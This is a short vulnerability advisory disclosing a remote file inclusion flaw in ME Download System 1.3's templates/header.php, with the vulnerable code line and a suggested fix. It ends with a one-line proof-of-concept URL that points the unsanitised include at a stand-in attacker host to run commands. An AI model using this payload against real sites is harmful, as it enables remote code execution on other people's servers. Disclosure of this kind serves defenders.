ME Download System 1.3 Remote File Inclusion

[philipp.niedziela () gmx de]

+--------------------------------------------------------------------
+
+ ME Download System 1.3 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: ME Download System 1.3
+ Venedor ...........: http://www.ehmig.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_282.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de http://www.bb-pcsecurity.de
+ Affected Files ....: templates/header.php
+
+--------------------------------------------------------------------
+
+ Code of /templates/header.php:
+
+ .....
+ <?php 
+ include($Vb8878b936c2bd8ae0cab.'/settings_style.php'); 
+ .....
+
+--------------------------------------------------------------------
+
+ $Vb8878b936c2bd8ae0cab is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Include config-File in header.php:
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+ 
+ Notice:
+ Maybe there are more RFI-Vulns in other files, but it's very hard 
+ to read this code.
+
+ Venedor has been contacted, but I didn't received any answer.
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini Gonzales
+
+-------------------------[ E O F ]----------------------------------